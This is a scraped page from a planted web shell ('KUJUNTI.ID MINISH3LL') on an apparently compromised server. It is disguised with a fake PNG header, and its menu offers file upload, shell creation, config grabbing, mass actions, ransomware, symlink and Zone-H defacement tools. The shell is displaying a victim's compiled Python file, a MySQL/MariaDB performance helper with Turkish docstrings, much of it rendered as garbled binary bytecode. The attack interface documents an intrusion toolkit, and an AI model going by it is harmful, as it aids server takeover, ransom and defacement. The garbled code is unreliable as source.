\x89PNG\r\n\x1a\n\x00\x00\x00\x0DIHDR\x00\x00\x00\x01\x00 \x00\x00\x01\x08\x06\x00\x00\x00\x1F\x15\xC4\x89\x00\x00\x00 \x0AIDATx\x9Ccb\x00\x00\x00\x06\x00\x03\x1A\x05\x9D\x00\x00 \x00\x00IEND\xAE\x42\x60\x82 www.csarite.com
KUJUNTI.ID MINISH3LL
Path : /var/www/html/yedekledb24/DatabaseBackupMaster/__pycache__/
(S)h3ll Cr3at0r :
F!le Upl0ad :

B-Con CMD Config cPanel C-Rdp D-Log Info Jump Mass Ransom Symlink vHost Zone-H

Current File : /var/www/html/yedekledb24/DatabaseBackupMaster/__pycache__/mysql_performance.cpython-310.pyc


o

�l�g�Q�@s|dZddlZddlZddlmZmZddlZddlZejejdd�e�	e
�Zdd�Zdd	�Z
ddd
�Zdd�Zdd�ZdS)u�
MySQL/MariaDB veritabanı performans metrikleri için yardımcı fonksiyonlar.
Bu modül, performance_schema ve information_schema tablolarını kullanarak 
MySQL/MariaDB sunucularında çalışan sorguların performans verilerini alır.
�N)�datetime�	timedeltaz4%(asctime)s - %(name)s - %(levelname)s - %(message)s)�level�formatc
Csdz|��}|�d�|��}|ddkWSty1}zt�d�t|���WYd}~dSd}~ww)u�
    MySQL/MariaDB sunucusunda performance_schema'nın etkin olup olmadığını kontrol eder.
    
    Args:
        connection: MySQL bağlantı nesnesi
        
    Returns:
        bool: Etkinse True, değilse False
    �SELECT @@performance_schemar�z-performance_schema kontrol edilirken hata: {}NF��cursor�execute�fetchone�	Exception�logger�errorr�str)�
connectionr	�result�e�r�C/var/www/html/yedekledb24/DatabaseBackupMaster/mysql_performance.py�performance_schema_enableds

��rc
Cs�z4|��}|�d�|��ddkrddd�WS|�d�|��d}d|v}d	}|r/|d
7}d|d�WStyZ}zt�d�t|���dd
�t|��d�WYd}~Sd}~ww)u�
    MySQL/MariaDB sunucusunda performance_schema'yı etkinleştirir.
    
    Args:
        connection: MySQL bağlantı nesnesi
        
    Returns:
        dict: İşlem sonucu (success, message)
    rrrTzPerformance Schema zaten etkin.)�success�message�SELECT VERSION()�MariaDBu!
        Performance Schema etkinleştirmek için my.cnf dosyasına şu satırı ekleyin ve sunucuyu yeniden başlatın:
        
        performance_schema=ON
        
        Not: Bu değişiklik sunucu yapılandırma dosyasında yapılmalıdır ve yeniden başlatma gerektirir.
        u�
            MariaDB'de ayrıca query_response_time etkinleştirmek için:
            
            query_response_time=ON
            Fu/Performance Schema etkinleştirilirken hata: {}zHata: {}Nr)rr	�version�
is_mariadbrrrrr�enable_performance_schema's"


 ��r��
total_timec
Cs�zt|�}Wn
ttfyd}Ynw�z
tj|dt|d�|d|d|dd�}t|�s7dd	gd
�WSz	|�tjj�}Wn
t	yM|��}Ynw|�
d�|��}t|t
�rc|�dd
�}n|ri|dnd
}dt|�v}t�dt|��}	|	r�|	�d�nd}
t|
�d�d�}|�r4t|
�dk�r4|�
d�|��}|�r4|ddk�r4|r�|dkr�|�
d�|��ddgd
�WSd}
|�
|
�|��}g}|D]F}t
|�}d|vr�|dr�d�t|d��|d<d|vr�|dr�d�t|d��|d<d|v�r|d�rd �t|d��|d<|�|�q�td!d"�|D��d�td#d"�|D���|d$�}dd%|||d&�WS|dk�r<d'}n|d(k�rDd)}n
|d*k�rLd+}nd'}|�r�|dk�r�z|�
d,�|��ddgd
�WWSt�y�}zt�d-t|����WYd.}~nd.}~wwd/�|�}
|�
|
|f�|��}g}|D][}t
|�}d0|v�r�|d0�r�t|d0�d1k�r�|d0d.d1�d2|d0<d3D]}||v�r�||�r�d�t||��||<�q�d|v�r�|d�r�d �t|d��|d<|�|��q�d4}|�
|�|��}|d5|d6d�|d7�|d8|d9�}|��dd:|||d&�WSt�yG}zt�d;t|����dd<t|���gd
�WYd.}~Sd.}~ww)=u�
    MySQL/MariaDB sunucusunda en çok kaynak tüketen sorguları alır.
    
    Args:
        db_conn: MySQL bağlantı bilgileri (dict)
        limit (int): Alınacak sorgu sayısı
        order_by (str): Sıralama kriteri ('total_time', 'calls', 'rows')
        interval (str): Zaman aralığı ('hour', 'day', 'week', 'all')
        
    Returns:
        dict: Sorgu istatistikleri listesi, başarı durumu ve mesaj
    r�host�port�username�password�database�rr �userr"r#FuRPerformance Schema etkin değil. MySQL sunucu yapılandırmasında etkinleştirin.�rr�datar�	VERSION()�
Bilinmiyorrrz
(\d+\.\d+)rz0.0�.g333333$@zSELECT @@query_response_timez@@query_response_time�resetz&SET GLOBAL query_response_time_flush=1Tu#Sorgu istatistikleri sıfırlandı.a�
                SELECT 
                    BUCKET as response_time_bucket, 
                    COUNT as calls, 
                    TOTAL as total_time,
                    TOTAL/COUNT as avg_time,
                    100.0 * TOTAL / (SELECT SUM(TOTAL) FROM information_schema.query_response_time) as percentage_cpu
                FROM information_schema.query_response_time 
                WHERE BUCKET != 'TOO LONG'
                ORDER BY BUCKET
                rz	{:.2f} ms�avg_time�percentage_cpuz{:.2f}%css�|]}|dVqdS)�callsNr��.0�rowrrr�	<genexpr>�s�z"get_top_queries.<locals>.<genexpr>css�|]	}t|d�VqdS)�TOTALN)�floatr/rrrr2�s�)�total_callsrru:Veriler başarıyla alındı (MariaDB Query Response Time))rrr'�summaryrzSUM_TIMER_WAIT DESCr.zCOUNT_STAR DESC�rowszSUM_ROWS_AFFECTED DESCzETRUNCATE TABLE performance_schema.events_statements_summary_by_digestu&İstatistikler sıfırlanırken hata: Nal
        SELECT 
            DIGEST_TEXT as query,
            COUNT_STAR as calls,
            SUM_ROWS_AFFECTED as rows,
            SUM_TIMER_WAIT/1000000000 as total_time,
            AVG_TIMER_WAIT/1000000000 as avg_time,
            MIN_TIMER_WAIT/1000000000 as min_time,
            MAX_TIMER_WAIT/1000000000 as max_time,
            100.0 * SUM_TIMER_WAIT / 
                (SELECT SUM(SUM_TIMER_WAIT) FROM performance_schema.events_statements_summary_by_digest) 
                as percentage_cpu
        FROM performance_schema.events_statements_summary_by_digest
        ORDER BY {}
        LIMIT %s
        �queryi�z...)rr,�min_time�max_timea
        SELECT 
            SUM(COUNT_STAR) as total_calls,
            SUM(SUM_ROWS_AFFECTED) as total_rows,
            SUM(SUM_TIMER_WAIT)/1000000000 as total_exec_time,
            COUNT(*) as query_count
        FROM performance_schema.events_statements_summary_by_digest
        r5�
total_rows�total_exec_time�query_count)r5r;r<r=ruVeriler başarıyla alındıu,Sorgu performans verileri alınırken hata: �Hata: ) �int�
ValueError�	TypeError�pymysql�connectrr	�cursors�
DictCursor�AttributeErrorr
r�
isinstance�dict�getr�re�search�group�splitr4�commit�fetchallr�append�sumrr
�warning�len�closer)�db_conn�limit�order_by�intervalrr	�version_resultrr�
version_match�version_num�
major_version�qrt_enabledr8�resultsr'r1�data_row�summary_data�order_columnr�key�
summary_queryr6rrr�get_top_queriesRs��
�	��




��




 ���&�
��"��rdcCs��z'tj|dt|d�|d|d|dd�}z	|�tjj�}Wn
ty.|��}Ynw|�d�|��}t	|t
�rD|�dd	�}n|rJ|d
nd	}d|v}|�d|df�|��}|rf|d
�d�nd}|�d|df�|��d}|�d�|��d}	|�d|df�g}
|��D]}|
�
|d|d
�d�d��q�|�d|df�g}|��D]}|�
|d|dd��q�i}
z4|�d�|��}|r�|d}t�d|�}|r�|�d�nd}t�d|�}|r�|�d�nd}||d�}
Wnt�y}zt�d t|����WYd!}~nd!}~ww|��d"d#|||	|
||
||d$�d%�WSt�yP}zt�d&t|����d'd(t|���id%�WYd!}~Sd!}~ww))u�
    MySQL/MariaDB veritabanı hakkında genel istatistikleri getirir.
    
    Args:
        db_conn: MySQL bağlantı bilgileri (dict)
        
    Returns:
        dict: Veritabanı istatistikleri
    rr r!r"r#r$rr(r)rrz�
        SELECT 
            table_schema as `database`,
            ROUND(SUM(data_length + index_length) / 1024 / 1024, 2) as total_size_mb
        FROM information_schema.TABLES 
        WHERE table_schema = %s
        GROUP BY table_schema
        �
total_size_mbz MBzN/Azx
        SELECT COUNT(*) as table_count
        FROM information_schema.TABLES 
        WHERE table_schema = %s
        �table_countz$SHOW STATUS LIKE 'Threads_connected'�Valuea
        SELECT 
            table_name,
            ROUND((data_length + index_length) / 1024 / 1024, 2) as total_size_mb
        FROM information_schema.TABLES 
        WHERE table_schema = %s
        ORDER BY (data_length + index_length) DESC
        LIMIT 5
        �
table_name)rh�sizez�
        SELECT 
            table_name,
            COUNT(*) as index_count
        FROM information_schema.STATISTICS
        WHERE table_schema = %s
        GROUP BY table_name
        ORDER BY index_count DESC
        LIMIT 5
        �index_count)rhrjzSHOW ENGINE INNODB STATUS�StatuszBuffer pool size\s+(\d+)rzFree buffers\s+(\d+))�buffer_pool_size�free_buffersu(InnoDB istatistikleri alınırken hata: NTu/Veritabanı istatistikleri başarıyla alındı)�db_sizerf�active_connections�largest_tables�top_indexed_tables�innodb_statsrrr&u-Veritabanı istatistikleri alınırken hata: Fr>)rBrCr?r	rDrErFr
rrGrHrIrOrPrJrKrLrr
rRrrTr)rUrr	rYrr�db_size_resultrnrfrorpr1rqrr�
innodb_status�status_text�buffer_match�buffer_size�
free_matchrmrrrr�get_database_stats"s�

�	�

��
�	 	�

�� ����"��rycCsz�tj|dt|d�|d|d|dd�}z	|�tjj�}Wn
ty-|��}Ynw|�d|d|f�|��sFdd	|��id
�WS|�d|d|f�|��}|�d|d|f�g}|�	�D]	}|�
t|��qd|�d
|d|f�|�	�}i}|D]}	|	d}
|
|vr�g|	dd�||
<||
d�
|	d�q�g}|��D]\}}
|�
|d�
|
d�|
dd��q�||d|d|d|d|d|d|d|d||d�}|��d|�d �|d
�WSt�y}zt�d!t|����dd"t|���id
�WYd#}~Sd#}~ww)$u�
    Belirli bir tablo hakkında detaylı istatistikleri getirir.
    
    Args:
        db_conn: MySQL bağlantı bilgileri (dict)
        table_name (str): Tablo adı
        
    Returns:
        dict: Tablo istatistikleri
    rr r!r"r#r$zv
        SELECT 1
        FROM information_schema.TABLES 
        WHERE table_schema = %s AND table_name = %s
        FuTablo bulunamadı: r&a�
        SELECT 
            table_name,
            table_rows,
            ROUND((data_length + index_length) / 1024 / 1024, 2) as size_mb,
            data_length,
            index_length,
            create_time,
            update_time,
            engine,
            table_collation
        FROM information_schema.TABLES 
        WHERE table_schema = %s AND table_name = %s
        a(
        SELECT 
            column_name,
            column_type,
            is_nullable,
            column_key,
            column_default,
            extra
        FROM information_schema.COLUMNS
        WHERE table_schema = %s AND table_name = %s
        ORDER BY ordinal_position
        a
        SELECT 
            index_name,
            column_name,
            non_unique,
            seq_in_index
        FROM information_schema.STATISTICS
        WHERE table_schema = %s AND table_name = %s
        ORDER BY index_name, seq_in_index
        �
index_name�
non_unique)�columns�uniquer|�column_namez, r})rzr|r}�size_mb�
table_rows�data_length�index_length�create_time�update_time�engine�table_collation)rhr�	row_countr�r��
created_at�
updated_atr��	collationr|�indexesTu, tablosu istatistikleri başarıyla alındıu'Tablo istatistikleri alınırken hata: r>N)rBrCr?r	rDrErFr
rrOrPrH�items�joinrTrr
rr)rUrhrr	�
table_infor|r1�indexes_rawr��idxrz�indexes_list�namer'�
table_datarrrr�get_table_stats�s�
�	�
�

�
�

	�
�
���"��r�)rrN)�__doc__�os�loggingrrrBrJ�basicConfig�INFO�	getLogger�__name__r
rrrdryr�rrrr�<module>s"�

+Q	

© KUJUNTI.ID